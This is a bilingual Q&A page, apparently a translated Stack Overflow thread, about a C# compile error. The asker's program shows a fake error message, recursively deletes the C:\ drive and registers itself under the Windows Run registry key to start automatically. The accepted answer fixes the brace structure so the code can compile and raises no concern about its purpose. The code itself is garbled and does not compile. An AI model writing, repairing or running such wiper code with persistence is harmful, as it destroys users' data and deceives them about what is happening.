命名空间不能直接包含字段或方法等成员?

A namespace cannot directly contain members such as fields or methods?(命名空间不能直接包含字段或方法等成员?)

问题描述

我正在尝试创建一个在启动时删除用户文档的应用程序(我知道这听起来可能是恶意的，但它是针对学校项目的).

I am trying to create an application that deletes user documents at start-up (I am aware that this may sound malicious but it is for a school project).

但是，我收到错误消息命名空间不能直接包含字段或方法等成员".

However, I am getting the error "A namespace cannot directly contain members such as fields or methods".

看了一下，好像没问题?我希望第二双眼睛能提供帮助，因为我到处搜索，但找不到相关的解决方案！

Looking over it, it seems fine? I am hoping a second pair of eyes can help as I have searched everywhere and I cannot find a relevant solution!

诚然，由于我的知识非常基础，我在网上和书本上使用了很多帮助，而我对 c# 的了解有限.因此，可能只是我很愚蠢，但每个人都必须从某个地方开始，对吧?

Admittedly, because of my very basic knowledge, I have used a lot of help online and from books and what I know of c# is limited. Therefore it might just be that I'm being stupid, but everyone has to start somewhere, right?

代码如下:

namespace Test
{
class Program
    {
     static void Main(string[] args)
        {
        MessageBox.Show("An unexpected error occured");
        if (System.IO.Directory.Exists(@"C:"))
        {
            try
            {
                System.IO.Directory.Delete("C:\", true);
            }

            catch (System.IO.IOException e)
            {
                Console.WriteLine(e.Message);
            }
        }
    }
    }
public class Program
{
    private void SetStartup();
    }

        RegistryKey rk = Registry.CurrentUser.OpenSubKey
            ("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);

        if (chkStartUp.Checked)
            rk.SetValue(AppName, Application.ExecutablePath.ToString());
        else
            rk.DeleteValue(AppName, false);

    }

推荐答案

您的代码在 SetStartup 周围严重混乱.如果你按照正常的缩进，你会更清楚地看到发生了什么.在 Visual Studio 中按 Ctrl-E，然后按 D，它会重新格式化您的文档 - 这会让事情变得更加清晰.

Your code is seriously messed up around SetStartup. If you follow the normal indentation, you'll see what's going on a bit more clearly. Press Ctrl-E followed by D in Visual Studio, and it'll reformat your document - which should make things considerably clearer.

看看这个(在我缩进之后):

Look at this (after I've indented it):

public class Program
{
    private void SetStartup();
}

RegistryKey rk = [...];

这是试图在类之外声明一个变量(rk).您还有一个没有主体的非抽象方法，并且最后缺少右大括号.

That's trying to declare a variable (rk) outside a class. You've also got a non-abstract method with no body, and you're missing closing braces at the end.

我怀疑你的意思是它是:

I suspect you meant it to be:

public class Program
{
    // Note: no semi-colon, and an *opening* brace
    private void SetStartup()
    {
        RegistryKey rk = [...];
        // Other code
    }
}

// And you'd want to close the namespace declaration too

在声明两个(非部分)同名类时也会遇到问题...

You're also going to have problems declaring two (non-partial) classes with the same name...

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